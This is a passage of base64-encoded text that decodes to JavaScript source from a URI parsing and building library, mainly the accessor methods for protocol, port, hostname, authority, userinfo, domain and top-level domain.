7XG4gICAgICB0aGlzLl9zdHJpbmcgPSBVUkkuYnVpbGQodGhpcy5fcGFydHMpO1xuICAgICAgdGhpcy5fZGVmZXJyZWRfYnVpbGQgPSBmYWxzZTtcbiAgICB9XG5cbiAgICByZXR1cm4gdGhpcztcbiAgfTtcblxuICBwLmNsb25lID0gZnVuY3Rpb24oKSB7XG4gICAgcmV0dXJuIG5ldyBVUkkodGhpcyk7XG4gIH07XG5cbiAgcC52YWx1ZU9mID0gcC50b1N0cmluZyA9IGZ1bmN0aW9uKCkge1xuICAgIHJldHVybiB0aGlzLmJ1aWxkKGZhbHNlKS5fc3RyaW5nO1xuICB9O1xuXG5cbiAgZnVuY3Rpb24gZ2VuZXJhdGVTaW1wbGVBY2Nlc3NvcihfcGFydCl7XG4gICAgcmV0dXJuIGZ1bmN0aW9uKHYsIGJ1aWxkKSB7XG4gICAgICBpZiAodiA9PT0gdW5kZWZpbmVkKSB7XG4gICAgICAgIHJldHVybiB0aGlzLl9wYXJ0c1tfcGFydF0gfHwgJyc7XG4gICAgICB9IGVsc2Uge1xuICAgICAgICB0aGlzLl9wYXJ0c1tfcGFydF0gPSB2IHx8IG51bGw7XG4gICAgICAgIHRoaXMuYnVpbGQoIWJ1aWxkKTtcbiAgICAgICAgcmV0dXJuIHRoaXM7XG4gICAgICB9XG4gICAgfTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGdlbmVyYXRlUHJlZml4QWNjZXNzb3IoX3BhcnQsIF9rZXkpe1xuICAgIHJldHVybiBmdW5jdGlvbih2LCBidWlsZCkge1xuICAgICAgaWYgKHYgPT09IHVuZGVmaW5lZCkge1xuICAgICAgICByZXR1cm4gdGhpcy5fcGFydHNbX3BhcnRdIHx8ICcnO1xuICAgICAgfSBlbHNlIHtcbiAgICAgICAgaWYgKHYgIT09IG51bGwpIHtcbiAgICAgICAgICB2ID0gdiArICcnO1xuICAgICAgICAgIGlmICh2LmNoYXJBdCgwKSA9PT0gX2tleSkge1xuICAgICAgICAgICAgdiA9IHYuc3Vic3RyaW5nKDEpO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuXG4gICAgICAgIHRoaXMuX3BhcnRzW19wYXJ0XSA9IHY7XG4gICAgICAgIHRoaXMuYnVpbGQoIWJ1aWxkKTtcbiAgICAgICAgcmV0dXJuIHRoaXM7XG4gICAgICB9XG4gICAgfTtcbiAgfVxuXG4gIHAucHJvdG9jb2wgPSBnZW5lcmF0ZVNpbXBsZUFjY2Vzc29yKCdwcm90b2NvbCcpO1xuICBwLnVzZXJuYW1lID0gZ2VuZXJhdGVTaW1wbGVBY2Nlc3NvcigndXNlcm5hbWUnKTtcbiAgcC5wYXNzd29yZCA9IGdlbmVyYXRlU2ltcGxlQWNjZXNzb3IoJ3Bhc3N3b3JkJyk7XG4gIHAuaG9zdG5hbWUgPSBnZW5lcmF0ZVNpbXBsZUFjY2Vzc29yKCdob3N0bmFtZScpO1xuICBwLnBvcnQgPSBnZW5lcmF0ZVNpbXBsZUFjY2Vzc29yKCdwb3J0Jyk7XG4gIHAucXVlcnkgPSBnZW5lcmF0ZVByZWZpeEFjY2Vzc29yKCdxdWVyeScsICc/Jyk7XG4gIHAuZnJhZ21lbnQgPSBnZW5lcmF0ZVByZWZpeEFjY2Vzc29yKCdmcmFnbWVudCcsICcjJyk7XG5cbiAgcC5zZWFyY2ggPSBmdW5jdGlvbih2LCBidWlsZCkge1xuICAgIHZhciB0ID0gdGhpcy5xdWVyeSh2LCBidWlsZCk7XG4gICAgcmV0dXJuIHR5cGVvZiB0ID09PSAnc3RyaW5nJyAmJiB0Lmxlbmd0aCA/ICgnPycgKyB0KSA6IHQ7XG4gIH07XG4gIHAuaGFzaCA9IGZ1bmN0aW9uKHYsIGJ1aWxkKSB7XG4gICAgdmFyIHQgPSB0aGlzLmZyYWdtZW50KHYsIGJ1aWxkKTtcbiAgICByZXR1cm4gdHlwZW9mIHQgPT09ICdzdHJpbmcnICYmIHQubGVuZ3RoID8gKCcjJyArIHQpIDogdDtcbiAgfTtcblxuICBwLnBhdGhuYW1lID0gZnVuY3Rpb24odiwgYnVpbGQpIHtcbiAgICBpZiAodiA9PT0gdW5kZWZpbmVkIHx8IHYgPT09IHRydWUpIHtcbiAgICAgIHZhciByZXMgPSB0aGlzLl9wYXJ0cy5wYXRoIHx8ICh0aGlzLl9wYXJ0cy5ob3N0bmFtZSA/ICcvJyA6ICcnKTtcbiAgICAgIHJldHVybiB2ID8gKHRoaXMuX3BhcnRzLnVybiA/IFVSSS5kZWNvZGVVcm5QYXRoIDogVVJJLmRlY29kZVBhdGgpKHJlcykgOiByZXM7XG4gICAgfSBlbHNlIHtcbiAgICAgIGlmICh0aGlzLl9wYXJ0cy51cm4pIHtcbiAgICAgICAgdGhpcy5fcGFydHMucGF0aCA9IHYgPyBVUkkucmVjb2RlVXJuUGF0aCh2KSA6ICcnO1xuICAgICAgfSBlbHNlIHtcbiAgICAgICAgdGhpcy5fcGFydHMucGF0aCA9IHYgPyBVUkkucmVjb2RlUGF0aCh2KSA6ICcvJztcbiAgICAgIH1cbiAgICAgIHRoaXMuYnVpbGQoIWJ1aWxkKTtcbiAgICAgIHJldHVybiB0aGlzO1xuICAgIH1cbiAgfTtcbiAgcC5wYXRoID0gcC5wYXRobmFtZTtcbiAgcC5ocmVmID0gZnVuY3Rpb24oaHJlZiwgYnVpbGQpIHtcbiAgICB2YXIga2V5O1xuXG4gICAgaWYgKGhyZWYgPT09IHVuZGVmaW5lZCkge1xuICAgICAgcmV0dXJuIHRoaXMudG9TdHJpbmcoKTtcbiAgICB9XG5cbiAgICB0aGlzLl9zdHJpbmcgPSAnJztcbiAgICB0aGlzLl9wYXJ0cyA9IFVSSS5fcGFydHMoKTtcblxuICAgIHZhciBfVVJJID0gaHJlZiBpbnN0YW5jZW9mIFVSSTtcbiAgICB2YXIgX29iamVjdCA9IHR5cGVvZiBocmVmID09PSAnb2JqZWN0JyAmJiAoaHJlZi5ob3N0bmFtZSB8fCBocmVmLnBhdGggfHwgaHJlZi5wYXRobmFtZSk7XG4gICAgaWYgKGhyZWYubm9kZU5hbWUpIHtcbiAgICAgIHZhciBhdHRyaWJ1dGUgPSBVUkkuZ2V0RG9tQXR0cmlidXRlKGhyZWYpO1xuICAgICAgaHJlZiA9IGhyZWZbYXR0cmlidXRlXSB8fCAnJztcbiAgICAgIF9vYmplY3QgPSBmYWxzZTtcbiAgICB9XG5cbiAgICAvLyB3aW5kb3cubG9jYXRpb24gaXMgcmVwb3J0ZWQgdG8gYmUgYW4gb2JqZWN0LCBidXQgaXQncyBub3QgdGhlIHNvcnRcbiAgICAvLyBvZiBvYmplY3Qgd2UncmUgbG9va2luZyBmb3I6XG4gICAgLy8gKiBsb2NhdGlvbi5wcm90b2NvbCBlbmRzIHdpdGggYSBjb2xvblxuICAgIC8vICogbG9jYXRpb24ucXVlcnkgIT0gb2JqZWN0LnNlYXJjaFxuICAgIC8vICogbG9jYXRpb24uaGFzaCAhPSBvYmplY3QuZnJhZ21lbnRcbiAgICAvLyBzaW1wbHkgc2VyaWFsaXppbmcgdGhlIHVua25vd24gb2JqZWN0IHNob3VsZCBkbyB0aGUgdHJpY2tcbiAgICAvLyAoZm9yIGxvY2F0aW9uLCBub3QgZm9yIGV2ZXJ5dGhpbmcuLi4pXG4gICAgaWYgKCFfVVJJICYmIF9vYmplY3QgJiYgaHJlZi5wYXRobmFtZSAhPT0gdW5kZWZpbmVkKSB7XG4gICAgICBocmVmID0gaHJlZi50b1N0cmluZygpO1xuICAgIH1cblxuICAgIGlmICh0eXBlb2YgaHJlZiA9PT0gJ3N0cmluZycgfHwgaHJlZiBpbnN0YW5jZW9mIFN0cmluZykge1xuICAgICAgdGhpcy5fcGFydHMgPSBVUkkucGFyc2UoU3RyaW5nKGhyZWYpLCB0aGlzLl9wYXJ0cyk7XG4gICAgfSBlbHNlIGlmIChfVVJJIHx8IF9vYmplY3QpIHtcbiAgICAgIHZhciBzcmMgPSBfVVJJID8gaHJlZi5fcGFydHMgOiBocmVmO1xuICAgICAgZm9yIChrZXkgaW4gc3JjKSB7XG4gICAgICAgIGlmIChoYXNPd24uY2FsbCh0aGlzLl9wYXJ0cywga2V5KSkge1xuICAgICAgICAgIHRoaXMuX3BhcnRzW2tleV0gPSBzcmNba2V5XTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICB0aHJvdyBuZXcgVHlwZUVycm9yKCdpbnZhbGlkIGlucHV0Jyk7XG4gICAgfVxuXG4gICAgdGhpcy5idWlsZCghYnVpbGQpO1xuICAgIHJldHVybiB0aGlzO1xuICB9O1xuXG4gIC8vIGlkZW50aWZpY2F0aW9uIGFjY2Vzc29yc1xuICBwLmlzID0gZnVuY3Rpb24od2hhdCkge1xuICAgIHZhciBpcCA9IGZhbHNlO1xuICAgIHZhciBpcDQgPSBmYWxzZTtcbiAgICB2YXIgaXA2ID0gZmFsc2U7XG4gICAgdmFyIG5hbWUgPSBmYWxzZTtcbiAgICB2YXIgc2xkID0gZmFsc2U7XG4gICAgdmFyIGlkbiA9IGZhbHNlO1xuICAgIHZhciBwdW55Y29kZSA9IGZhbHNlO1xuICAgIHZhciByZWxhdGl2ZSA9ICF0aGlzLl9wYXJ0cy51cm47XG5cbiAgICBpZiAodGhpcy5fcGFydHMuaG9zdG5hbWUpIHtcbiAgICAgIHJlbGF0aXZlID0gZmFsc2U7XG4gICAgICBpcDQgPSBVUkkuaXA0X2V4cHJlc3Npb24udGVzdCh0aGlzLl9wYXJ0cy5ob3N0bmFtZSk7XG4gICAgICBpcDYgPSBVUkkuaXA2X2V4cHJlc3Npb24udGVzdCh0aGlzLl9wYXJ0cy5ob3N0bmFtZSk7XG4gICAgICBpcCA9IGlwNCB8fCBpcDY7XG4gICAgICBuYW1lID0gIWlwO1xuICAgICAgc2xkID0gbmFtZSAmJiBTTEQgJiYgU0xELmhhcyh0aGlzLl9wYXJ0cy5ob3N0bmFtZSk7XG4gICAgICBpZG4gPSBuYW1lICYmIFVSSS5pZG5fZXhwcmVzc2lvbi50ZXN0KHRoaXMuX3BhcnRzLmhvc3RuYW1lKTtcbiAgICAgIHB1bnljb2RlID0gbmFtZSAmJiBVUkkucHVueWNvZGVfZXhwcmVzc2lvbi50ZXN0KHRoaXMuX3BhcnRzLmhvc3RuYW1lKTtcbiAgICB9XG5cbiAgICBzd2l0Y2ggKHdoYXQudG9Mb3dlckNhc2UoKSkge1xuICAgICAgY2FzZSAncmVsYXRpdmUnOlxuICAgICAgICByZXR1cm4gcmVsYXRpdmU7XG5cbiAgICAgIGNhc2UgJ2Fic29sdXRlJzpcbiAgICAgICAgcmV0dXJuICFyZWxhdGl2ZTtcblxuICAgICAgLy8gaG9zdG5hbWUgaWRlbnRpZmljYXRpb25cbiAgICAgIGNhc2UgJ2RvbWFpbic6XG4gICAgICBjYXNlICduYW1lJzpcbiAgICAgICAgcmV0dXJuIG5hbWU7XG5cbiAgICAgIGNhc2UgJ3NsZCc6XG4gICAgICAgIHJldHVybiBzbGQ7XG5cbiAgICAgIGNhc2UgJ2lwJzpcbiAgICAgICAgcmV0dXJuIGlwO1xuXG4gICAgICBjYXNlICdpcDQnOlxuICAgICAgY2FzZSAnaXB2NCc6XG4gICAgICBjYXNlICdpbmV0NCc6XG4gICAgICAgIHJldHVybiBpcDQ7XG5cbiAgICAgIGNhc2UgJ2lwNic6XG4gICAgICBjYXNlICdpcHY2JzpcbiAgICAgIGNhc2UgJ2luZXQ2JzpcbiAgICAgICAgcmV0dXJuIGlwNjtcblxuICAgICAgY2FzZSAnaWRuJzpcbiAgICAgICAgcmV0dXJuIGlkbjtcblxuICAgICAgY2FzZSAndXJsJzpcbiAgICAgICAgcmV0dXJuICF0aGlzLl9wYXJ0cy51cm47XG5cbiAgICAgIGNhc2UgJ3Vybic6XG4gICAgICAgIHJldHVybiAhIXRoaXMuX3BhcnRzLnVybjtcblxuICAgICAgY2FzZSAncHVueWNvZGUnOlxuICAgICAgICByZXR1cm4gcHVueWNvZGU7XG4gICAgfVxuXG4gICAgcmV0dXJuIG51bGw7XG4gIH07XG5cbiAgLy8gY29tcG9uZW50IHNwZWNpZmljIGlucHV0IHZhbGlkYXRpb25cbiAgdmFyIF9wcm90b2NvbCA9IHAucHJvdG9jb2w7XG4gIHZhciBfcG9ydCA9IHAucG9ydDtcbiAgdmFyIF9ob3N0bmFtZSA9IHAuaG9zdG5hbWU7XG5cbiAgcC5wcm90b2NvbCA9IGZ1bmN0aW9uKHYsIGJ1aWxkKSB7XG4gICAgaWYgKHYgIT09IHVuZGVmaW5lZCkge1xuICAgICAgaWYgKHYpIHtcbiAgICAgICAgLy8gYWNjZXB0IHRyYWlsaW5nIDovL1xuICAgICAgICB2ID0gdi5yZXBsYWNlKC86KFxcL1xcLyk/JC8sICcnKTtcblxuICAgICAgICBpZiAoIXYubWF0Y2goVVJJLnByb3RvY29sX2V4cHJlc3Npb24pKSB7XG4gICAgICAgICAgdGhyb3cgbmV3IFR5cGVFcnJvcignUHJvdG9jb2wgXCInICsgdiArICdcIiBjb250YWlucyBjaGFyYWN0ZXJzIG90aGVyIHRoYW4gW0EtWjAtOS4rLV0gb3IgZG9lc25cXCd0IHN0YXJ0IHdpdGggW0EtWl0nKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgICByZXR1cm4gX3Byb3RvY29sLmNhbGwodGhpcywgdiwgYnVpbGQpO1xuICB9O1xuICBwLnNjaGVtZSA9IHAucHJvdG9jb2w7XG4gIHAucG9ydCA9IGZ1bmN0aW9uKHYsIGJ1aWxkKSB7XG4gICAgaWYgKHRoaXMuX3BhcnRzLnVybikge1xuICAgICAgcmV0dXJuIHYgPT09IHVuZGVmaW5lZCA/ICcnIDogdGhpcztcbiAgICB9XG5cbiAgICBpZiAodiAhPT0gdW5kZWZpbmVkKSB7XG4gICAgICBpZiAodiA9PT0gMCkge1xuICAgICAgICB2ID0gbnVsbDtcbiAgICAgIH1cblxuICAgICAgaWYgKHYpIHtcbiAgICAgICAgdiArPSAnJztcbiAgICAgICAgaWYgKHYuY2hhckF0KDApID09PSAnOicpIHtcbiAgICAgICAgICB2ID0gdi5zdWJzdHJpbmcoMSk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAodi5tYXRjaCgvW14wLTldLykpIHtcbiAgICAgICAgICB0aHJvdyBuZXcgVHlwZUVycm9yKCdQb3J0IFwiJyArIHYgKyAnXCIgY29udGFpbnMgY2hhcmFjdGVycyBvdGhlciB0aGFuIFswLTldJyk7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gICAgcmV0dXJuIF9wb3J0LmNhbGwodGhpcywgdiwgYnVpbGQpO1xuICB9O1xuICBwLmhvc3RuYW1lID0gZnVuY3Rpb24odiwgYnVpbGQpIHtcbiAgICBpZiAodGhpcy5fcGFydHMudXJuKSB7XG4gICAgICByZXR1cm4gdiA9PT0gdW5kZWZpbmVkID8gJycgOiB0aGlzO1xuICAgIH1cblxuICAgIGlmICh2ICE9PSB1bmRlZmluZWQpIHtcbiAgICAgIHZhciB4ID0ge307XG4gICAgICB2YXIgcmVzID0gVVJJLnBhcnNlSG9zdCh2LCB4KTtcbiAgICAgIGlmIChyZXMgIT09ICcvJykge1xuICAgICAgICB0aHJvdyBuZXcgVHlwZUVycm9yKCdIb3N0bmFtZSBcIicgKyB2ICsgJ1wiIGNvbnRhaW5zIGNoYXJhY3RlcnMgb3RoZXIgdGhhbiBbQS1aMC05Li1dJyk7XG4gICAgICB9XG5cbiAgICAgIHYgPSB4Lmhvc3RuYW1lO1xuICAgIH1cbiAgICByZXR1cm4gX2hvc3RuYW1lLmNhbGwodGhpcywgdiwgYnVpbGQpO1xuICB9O1xuXG4gIC8vIGNvbXBvdW5kIGFjY2Vzc29yc1xuICBwLm9yaWdpbiA9IGZ1bmN0aW9uKHYsIGJ1aWxkKSB7XG4gICAgdmFyIHBhcnRzO1xuXG4gICAgaWYgKHRoaXMuX3BhcnRzLnVybikge1xuICAgICAgcmV0dXJuIHYgPT09IHVuZGVmaW5lZCA/ICcnIDogdGhpcztcbiAgICB9XG5cbiAgICBpZiAodiA9PT0gdW5kZWZpbmVkKSB7XG4gICAgICB2YXIgcHJvdG9jb2wgPSB0aGlzLnByb3RvY29sKCk7XG4gICAgICB2YXIgYXV0aG9yaXR5ID0gdGhpcy5hdXRob3JpdHkoKTtcbiAgICAgIGlmICghYXV0aG9yaXR5KSByZXR1cm4gJyc7XG4gICAgICByZXR1cm4gKHByb3RvY29sID8gcHJvdG9jb2wgKyAnOi8vJyA6ICcnKSArIHRoaXMuYXV0aG9yaXR5KCk7XG4gICAgfSBlbHNlIHtcbiAgICAgIHZhciBvcmlnaW4gPSBVUkkodik7XG4gICAgICB0aGlzXG4gICAgICAgIC5wcm90b2NvbChvcmlnaW4ucHJvdG9jb2woKSlcbiAgICAgICAgLmF1dGhvcml0eShvcmlnaW4uYXV0aG9yaXR5KCkpXG4gICAgICAgIC5idWlsZCghYnVpbGQpO1xuICAgICAgcmV0dXJuIHRoaXM7XG4gICAgfVxuICB9O1xuICBwLmhvc3QgPSBmdW5jdGlvbih2LCBidWlsZCkge1xuICAgIGlmICh0aGlzLl9wYXJ0cy51cm4pIHtcbiAgICAgIHJldHVybiB2ID09PSB1bmRlZmluZWQgPyAnJyA6IHRoaXM7XG4gICAgfVxuXG4gICAgaWYgKHYgPT09IHVuZGVmaW5lZCkge1xuICAgICAgcmV0dXJuIHRoaXMuX3BhcnRzLmhvc3RuYW1lID8gVVJJLmJ1aWxkSG9zdCh0aGlzLl9wYXJ0cykgOiAnJztcbiAgICB9IGVsc2Uge1xuICAgICAgdmFyIHJlcyA9IFVSSS5wYXJzZUhvc3QodiwgdGhpcy5fcGFydHMpO1xuICAgICAgaWYgKHJlcyAhPT0gJy8nKSB7XG4gICAgICAgIHRocm93IG5ldyBUeXBlRXJyb3IoJ0hvc3RuYW1lIFwiJyArIHYgKyAnXCIgY29udGFpbnMgY2hhcmFjdGVycyBvdGhlciB0aGFuIFtBLVowLTkuLV0nKTtcbiAgICAgIH1cblxuICAgICAgdGhpcy5idWlsZCghYnVpbGQpO1xuICAgICAgcmV0dXJuIHRoaXM7XG4gICAgfVxuICB9O1xuICBwLmF1dGhvcml0eSA9IGZ1bmN0aW9uKHYsIGJ1aWxkKSB7XG4gICAgaWYgKHRoaXMuX3BhcnRzLnVybikge1xuICAgICAgcmV0dXJuIHYgPT09IHVuZGVmaW5lZCA/ICcnIDogdGhpcztcbiAgICB9XG5cbiAgICBpZiAodiA9PT0gdW5kZWZpbmVkKSB7XG4gICAgICByZXR1cm4gdGhpcy5fcGFydHMuaG9zdG5hbWUgPyBVUkkuYnVpbGRBdXRob3JpdHkodGhpcy5fcGFydHMpIDogJyc7XG4gICAgfSBlbHNlIHtcbiAgICAgIHZhciByZXMgPSBVUkkucGFyc2VBdXRob3JpdHkodiwgdGhpcy5fcGFydHMpO1xuICAgICAgaWYgKHJlcyAhPT0gJy8nKSB7XG4gICAgICAgIHRocm93IG5ldyBUeXBlRXJyb3IoJ0hvc3RuYW1lIFwiJyArIHYgKyAnXCIgY29udGFpbnMgY2hhcmFjdGVycyBvdGhlciB0aGFuIFtBLVowLTkuLV0nKTtcbiAgICAgIH1cblxuICAgICAgdGhpcy5idWlsZCghYnVpbGQpO1xuICAgICAgcmV0dXJuIHRoaXM7XG4gICAgfVxuICB9O1xuICBwLnVzZXJpbmZvID0gZnVuY3Rpb24odiwgYnVpbGQpIHtcbiAgICBpZiAodGhpcy5fcGFydHMudXJuKSB7XG4gICAgICByZXR1cm4gdiA9PT0gdW5kZWZpbmVkID8gJycgOiB0aGlzO1xuICAgIH1cblxuICAgIGlmICh2ID09PSB1bmRlZmluZWQpIHtcbiAgICAgIGlmICghdGhpcy5fcGFydHMudXNlcm5hbWUpIHtcbiAgICAgICAgcmV0dXJuICcnO1xuICAgICAgfVxuXG4gICAgICB2YXIgdCA9IFVSSS5idWlsZFVzZXJpbmZvKHRoaXMuX3BhcnRzKTtcbiAgICAgIHJldHVybiB0LnN1YnN0cmluZygwLCB0Lmxlbmd0aCAtMSk7XG4gICAgfSBlbHNlIHtcbiAgICAgIGlmICh2W3YubGVuZ3RoLTFdICE9PSAnQCcpIHtcbiAgICAgICAgdiArPSAnQCc7XG4gICAgICB9XG5cbiAgICAgIFVSSS5wYXJzZVVzZXJpbmZvKHYsIHRoaXMuX3BhcnRzKTtcbiAgICAgIHRoaXMuYnVpbGQoIWJ1aWxkKTtcbiAgICAgIHJldHVybiB0aGlzO1xuICAgIH1cbiAgfTtcbiAgcC5yZXNvdXJjZSA9IGZ1bmN0aW9uKHYsIGJ1aWxkKSB7XG4gICAgdmFyIHBhcnRzO1xuXG4gICAgaWYgKHYgPT09IHVuZGVmaW5lZCkge1xuICAgICAgcmV0dXJuIHRoaXMucGF0aCgpICsgdGhpcy5zZWFyY2goKSArIHRoaXMuaGFzaCgpO1xuICAgIH1cblxuICAgIHBhcnRzID0gVVJJLnBhcnNlKHYpO1xuICAgIHRoaXMuX3BhcnRzLnBhdGggPSBwYXJ0cy5wYXRoO1xuICAgIHRoaXMuX3BhcnRzLnF1ZXJ5ID0gcGFydHMucXVlcnk7XG4gICAgdGhpcy5fcGFydHMuZnJhZ21lbnQgPSBwYXJ0cy5mcmFnbWVudDtcbiAgICB0aGlzLmJ1aWxkKCFidWlsZCk7XG4gICAgcmV0dXJuIHRoaXM7XG4gIH07XG5cbiAgLy8gZnJhY3Rpb24gYWNjZXNzb3JzXG4gIHAuc3ViZG9tYWluID0gZnVuY3Rpb24odiwgYnVpbGQpIHtcbiAgICBpZiAodGhpcy5fcGFydHMudXJuKSB7XG4gICAgICByZXR1cm4gdiA9PT0gdW5kZWZpbmVkID8gJycgOiB0aGlzO1xuICAgIH1cblxuICAgIC8vIGNvbnZlbmllbmNlLCByZXR1cm4gXCJ3d3dcIiBmcm9tIFwid3d3LmV4YW1wbGUub3JnXCJcbiAgICBpZiAodiA9PT0gdW5kZWZpbmVkKSB7XG4gICAgICBpZiAoIXRoaXMuX3BhcnRzLmhvc3RuYW1lIHx8IHRoaXMuaXMoJ0lQJykpIHtcbiAgICAgICAgcmV0dXJuICcnO1xuICAgICAgfVxuXG4gICAgICAvLyBncmFiIGRvbWFpbiBhbmQgYWRkIGFub3RoZXIgc2VnbWVudFxuICAgICAgdmFyIGVuZCA9IHRoaXMuX3BhcnRzLmhvc3RuYW1lLmxlbmd0aCAtIHRoaXMuZG9tYWluKCkubGVuZ3RoIC0gMTtcbiAgICAgIHJldHVybiB0aGlzLl9wYXJ0cy5ob3N0bmFtZS5zdWJzdHJpbmcoMCwgZW5kKSB8fCAnJztcbiAgICB9IGVsc2Uge1xuICAgICAgdmFyIGUgPSB0aGlzLl9wYXJ0cy5ob3N0bmFtZS5sZW5ndGggLSB0aGlzLmRvbWFpbigpLmxlbmd0aDtcbiAgICAgIHZhciBzdWIgPSB0aGlzLl9wYXJ0cy5ob3N0bmFtZS5zdWJzdHJpbmcoMCwgZSk7XG4gICAgICB2YXIgcmVwbGFjZSA9IG5ldyBSZWdFeHAoJ14nICsgZXNjYXBlUmVnRXgoc3ViKSk7XG5cbiAgICAgIGlmICh2ICYmIHYuY2hhckF0KHYubGVuZ3RoIC0gMSkgIT09ICcuJykge1xuICAgICAgICB2ICs9ICcuJztcbiAgICAgIH1cblxuICAgICAgaWYgKHYpIHtcbiAgICAgICAgVVJJLmVuc3VyZVZhbGlkSG9zdG5hbWUodik7XG4gICAgICB9XG5cbiAgICAgIHRoaXMuX3BhcnRzLmhvc3RuYW1lID0gdGhpcy5fcGFydHMuaG9zdG5hbWUucmVwbGFjZShyZXBsYWNlLCB2KTtcbiAgICAgIHRoaXMuYnVpbGQoIWJ1aWxkKTtcbiAgICAgIHJldHVybiB0aGlzO1xuICAgIH1cbiAgfTtcbiAgcC5kb21haW4gPSBmdW5jdGlvbih2LCBidWlsZCkge1xuICAgIGlmICh0aGlzLl9wYXJ0cy51cm4pIHtcbiAgICAgIHJldHVybiB2ID09PSB1bmRlZmluZWQgPyAnJyA6IHRoaXM7XG4gICAgfVxuXG4gICAgaWYgKHR5cGVvZiB2ID09PSAnYm9vbGVhbicpIHtcbiAgICAgIGJ1aWxkID0gdjtcbiAgICAgIHYgPSB1bmRlZmluZWQ7XG4gICAgfVxuXG4gICAgLy8gY29udmVuaWVuY2UsIHJldHVybiBcImV4YW1wbGUub3JnXCIgZnJvbSBcInd3dy5leGFtcGxlLm9yZ1wiXG4gICAgaWYgKHYgPT09IHVuZGVmaW5lZCkge1xuICAgICAgaWYgKCF0aGlzLl9wYXJ0cy5ob3N0bmFtZSB8fCB0aGlzLmlzKCdJUCcpKSB7XG4gICAgICAgIHJldHVybiAnJztcbiAgICAgIH1cblxuICAgICAgLy8gaWYgaG9zdG5hbWUgY29uc2lzdHMgb2YgMSBvciAyIHNlZ21lbnRzLCBpdCBtdXN0IGJlIHRoZSBkb21haW5cbiAgICAgIHZhciB0ID0gdGhpcy5fcGFydHMuaG9zdG5hbWUubWF0Y2goL1xcLi9nKTtcbiAgICAgIGlmICh0ICYmIHQubGVuZ3RoIDwgMikge1xuICAgICAgICByZXR1cm4gdGhpcy5fcGFydHMuaG9zdG5hbWU7XG4gICAgICB9XG5cbiAgICAgIC8vIGdyYWIgdGxkIGFuZCBhZGQgYW5vdGhlciBzZWdtZW50XG4gICAgICB2YXIgZW5kID0gdGhpcy5fcGFydHMuaG9zdG5hbWUubGVuZ3RoIC0gdGhpcy50bGQoYnVpbGQpLmxlbmd0aCAtIDE7XG4gICAgICBlbmQgPSB0aGlzLl9wYXJ0cy5ob3N0bmFtZS5sYXN0SW5kZXhPZignLicsIGVuZCAtMSkgKyAxO1xuICAgICAgcmV0dXJuIHRoaXMuX3BhcnRzLmhvc3RuYW1lLnN1YnN0cmluZyhlbmQpIHx8ICcnO1xuICAgIH0gZWxzZSB7XG4gICAgICBpZiAoIXYpIHtcbiAgICAgICAgdGhyb3cgbmV3IFR5cGVFcnJvcignY2Fubm90IHNldCBkb21haW4gZW1wdHknKTtcbiAgICAgIH1cblxuICAgICAgVVJJLmVuc3VyZVZhbGlkSG9zdG5hbWUodik7XG5cbiAgICAgIGlmICghdGhpcy5fcGFydHMuaG9zdG5hbWUgfHwgdGhpcy5pcygnSVAnKSkge1xuICAgICAgICB0aGlzLl9wYXJ0cy5ob3N0bmFtZSA9IHY7XG4gICAgICB9IGVsc2Uge1xuICAgICAgICB2YXIgcmVwbGFjZSA9IG5ldyBSZWdFeHAoZXNjYXBlUmVnRXgodGhpcy5kb21haW4oKSkgKyAnJCcpO1xuICAgICAgICB0aGlzLl9wYXJ0cy5ob3N0bmFtZSA9IHRoaXMuX3BhcnRzLmhvc3RuYW1lLnJlcGxhY2UocmVwbGFjZSwgdik7XG4gICAgICB9XG5cbiAgICAgIHRoaXMuYnVpbGQoIWJ1aWxkKTtcbiAgICAgIHJldHVybiB0aGlzO1xuICAgIH1cbiAgfTtcbiAgcC50bGQgPSBmdW5jdGlvbih2LCBidWlsZCkge1xuICAgIGlmICh0aGlzLl9wYXJ0cy51cm4pIHtcbiAgICAgIHJldHVybiB2ID09PSB1bmRlZmluZWQgPyAnJyA6IHRoaXM7XG4gICAgfVxuXG4gICAgaWYgKHR5cGVvZiB2ID09PSAnYm9vbGVhbicpIHtcbiAgICAgIGJ1aWxkID0gdjtcbiAgICAgIHYgPSB1bmRlZmluZWQ7XG4gICAgfVxuXG4gICAgLy8gcmV0dXJuIFwib3JnXCIgZnJvbSBcInd3dy5leGFtcGxlLm9yZ1wiXG4gICAgaWYgKHYgPT09IHVuZGVmaW5lZCkge1xuICAgICAgaWYgKCF0aGlzLl9wYXJ0cy5ob3N0bmFtZSB8fCB0aGlzLmlzKCdJUCcpKSB7XG4gICAgICAgIHJldHVybiAnJztcbiAgICAgIH1cblxuICAgICAgdmFyIHBvcyA9IHRoaXMuX3BhcnRzLmhvc3RuYW1lLmxhc3RJbmRleE9mKCcuJyk7XG4gICAgICB2YXIgdGxkID0gdGhpcy5fcGFydHMuaG9zdG5hbWUuc3Vic3RyaW5nKHBvcyArIDEpO1xuXG4gICAgICBpZiAoYnVpbGQgIT09IHRydWUgJiYgU0xEICYmIFNMRC5saXN0W3RsZC50b0xvd2VyQ2FzZSgpXSkge1xuICAgICAgICByZXR1cm4gU0xELmdldCh0aGlzLl9wYXJ0cy5ob3N0bmFtZSkgfHwgdGxkO1xuICAgICAgfVxuXG4gICAgICByZXR1cm4gdGxkO1xuICAgIH0gZWxzZSB7XG4gICAgICB2YXIgcmVwbGFjZTtcblxuICAgICAgaWYgKCF2KSB7XG4gICAgICAgIHRocm93IG5ldyBUeXBlRXJyb3IoJ2Nhbm5vdCBzZXQgVExEIGVtcHR5Jyk7XG4gICAgICB9IGVsc2UgaWYgKHYubWF0Y2goL1teYS16QS1aMC05LV0vKSkge1xuICAgICAgICBpZiAoU0xEICYmIFNMRC5pcyh2KSkge1xuICAgICAgICAgIHJlcGxhY2UgPSBuZXcgUmVnRXhwKGVzY2FwZVJlZ0V4KHRoaXMudGxkKCkpICsgJyQnKTtcbiAgICAgICAgICB0aGlzLl9wYXJ0cy5ob3N0bmFtZSA9IHRoaXMuX3BhcnRzLmhvc3RuYW1lLnJlcGxhY2UocmVwbGFjZSwgdik7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgdGhyb3cgbmV3IFR5cGVFcnJvcignVExEIFwiJyArIHYgKyAnXCIgY29udGFpbnMgY2hhcmFjdGVycyBvdGhlciB0aGFuIFtBLVowLTldJyk7XG4gICAgICAg